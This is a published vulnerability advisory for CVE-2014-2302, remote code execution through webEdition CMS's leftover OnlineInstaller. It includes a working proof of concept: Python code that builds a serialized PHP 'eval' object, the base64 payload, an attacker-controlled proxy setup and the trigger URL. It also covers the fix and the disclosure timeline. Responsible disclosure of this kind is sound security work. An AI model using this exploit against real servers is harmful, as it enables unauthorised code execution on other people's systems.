Advisory: Remote Command Execution in webEdition CMS Installer Script

RedTeam Pentesting discovered a remote command execution vulnerability
in the installer script of the webEdition CMS during a penetration test.
If the installer script is not manually removed after installation,
attackers cannot only reinstall webEdition, but also gain remote command
execution.


Details
=======

Product: webEdition CMS
Affected Versions: webEdition OnlineInstaller 2.8.0.0,
                   probably earlier versions, too
Fixed Versions: webEdition 6.2.7-s1 - 6.3.8-s1
Vulnerability Type: Remote Command Execution
Security Risk: high
Vendor URL: http://www.webedition.org
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-004
Advisory Status: published
CVE: CVE-2014-2302
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2302


Introduction
============

"webEdition is a flexible CMS for companies of every size. It offers a
great amount of functionality and can be flexibly customized for
individual needs. It is ideally suited for users who want to operate
their website comfortably. Even the creation of custom web applications
is easily possible with webEdition."

(translated from the webEdition homepage)


More Details
============

The webEdition installation script is not deleted automatically at the
end of the installation, even though it contains code to delete itself.
While an attacker who finds this script could just destructively
reinstall webEdition, it is also possible to use it to gain command
execution unnoticed on an existing webEdition installation.

During installation, the installer first checks whether outgoing
connections can be established by sending the following HTTP request to
update.webedition.org:

GET /server/we/onlineInstallation.php?update_cmd=checkConnection&
     HTTP/1.0
Host: update.webedition.org

The server at update.webedition.org replies with the following HTTP
response, which contains base64-encoded data (formatted and shortened):

HTTP/1.1 200 OK
Date: Mon, 24 Feb 2014 10:34:56 GMT
Server: Apache/2.X.XX
X-Powered-By: PHP/5.X.XX
Connection: close
Content-Type: text/html

YTozOntzOjQ6IlR5cGUiO3M6ODoidGVtcGxhdGUiO3M6ODoiSGVhZGxpbmUiO3M6MzA6Ik9u
bGluZSBJbnN0YWxsZXIgdmVyc2lvbiBjaGVjayI7czo3OiJDb250ZW50IjtzOjM5ODoiCjxk
aXYgY2xhc3M9Im1lc3NhZ2VEaXYiPgpZb3UgYXJlIGN1cnJlbnRseSB1c2luZyBhbiBvbGQg
[...]

By decoding the response body it can be seen that it contains a
serialized PHP object:

a:3:{s:4:"Type";s:8:"template";s:8:"Headline";s:30:"Online Installer
version check";s:7:"Content";s:398:"<div class="messageDiv">
You are currently [...]</a>.</div>";}

This PHP object is processed by the installation script based on its
"Type" value. One of the "Type" values accepted by the installation
script is "eval", leading to the execution of PHP code which can be
specified as the value of a field named "Code", that is also part of
the serialized object.

Using the Python library phpserialize, a PHP object can be crafted,
which executes the function phpinfo() when it is received by the
installation script:

$ python
>>> from phpserialize import dumps
>>> object = dumps({"Type": "eval", "Code": "<?php phpinfo();?>"})
>>> object.encode("base64")
'YToyOntzOjQ6IkNvZGUiO3M6MTg6Ijw/cGhwIHBocGluZm8oKTs/PiI7czo0OiJUeXBlIjtz
OjQ6\nImV2YWwiO30=\n'

The installer allows the usage of a proxy server, enabling attackers to
intercept and arbitrarily modify HTTP requests issued by the installer
and the corresponding responses by the host update.webedition.org. By
setting a proxy server to use during the installation process which
answers all requests with the base64-encoded serialized PHP object, the
previously created PHP code is loaded and evaluated by the installation
script, which leads to the execution of the attack payload. Due to the
proxy server being saved in the HTTP session used by the installation
script, execution of the code served by the proxy server can be
triggered by opening the following URL:

http://www.example.com/OnlineInstaller/setup.php?
    &leWizard=DownloadInstaller


Proof of Concept
================

Use the OnlineInstaller at
http://www.example.com/OnlineInstaller/setup.php to configure webEdition
to use a system under your control as a proxy server. Configure the
proxy to deliver the following file contents for all HTTP requests:

YToyOntzOjQ6IkNvZGUiO3M6MTg6Ijw/cGhwIHBocGluZm8oKTs/PiI7czo0OiJUeXBlIjt
zOjQ6ImV2YWwiO30=

Reopen the following URL:

http://www.example.com/OnlineInstaller/setup.php?
    &leWizard=DownloadInstaller

After a redirect, phpinfo() output will be shown.


Workaround
==========

The OnlineInstaller should be deleted or access to its URLs restricted.


Fix
===

Update to a version with the suffix -s1. Those versions are available as
updates for releases between 6.2.7 and 6.3.8. The newest, updated
version would therefore be 6.3.8-s1.

Note that the version check of webEdition might tell you that there is
no update available and that you are running Version "6.3.8 (6.3.8.0
Release, SVN-Revision 6985). It will still tell you that the newest
available version is "6.3.8-s1 (6.3.8.0 Release, SVN-Revision 6985)", so
you can use the "Update-Repetition" function to get the fix for this
vulnerability.

Also note that the update does not remove the OnlineInstaller, but
modifies the login dialogue to remove the OnlineInstaller instead. You
will need to open the login dialogue after installing the update to
actually delete the OnlineInstaller. To be on the safe side, check the
OnlineInstaller directory manually for any files that still need to be
removed.


Security Risk
=============

Attackers can not only use the OnlineInstaller to destructively
reinstall webEdition, but can also run arbitrary code PHP code by
setting their own proxy server in the OnlineInstaller and inject content
that is used as a parameter for the PHP eval() function. Since this
attacker-supplied code is executed on the webEdition server with the
privileges of the web server, this is a high risk, especially because
the attack is not as easy to detect as a reinstallation of webEdition by
an attacker.


Timeline
========

2014-02-20 Vulnerability identified
2014-03-04 Customer approved disclosure to vendor
2014-03-06 CVE number requested and assigned
2014-03-07 Vendor notified
2014-03-10 Vendor acknowledges vulnerability
2014-05-20 Vendor announces fixed versions
2014-05-28 Advisory released


References
==========

http://www.webedition.org/de/aktuelles/webedition-cms/
    Wichtiges-Sicherheitsupdate-fuer-CMS-webEdition-veroeffentlicht
    (German)
http://www.webedition.org/de/aktuelles/webedition-cms/
    Wichtige-Hinweise-zum-Sicherheitsupdate (German)


RedTeam Pentesting GmbH
=======================

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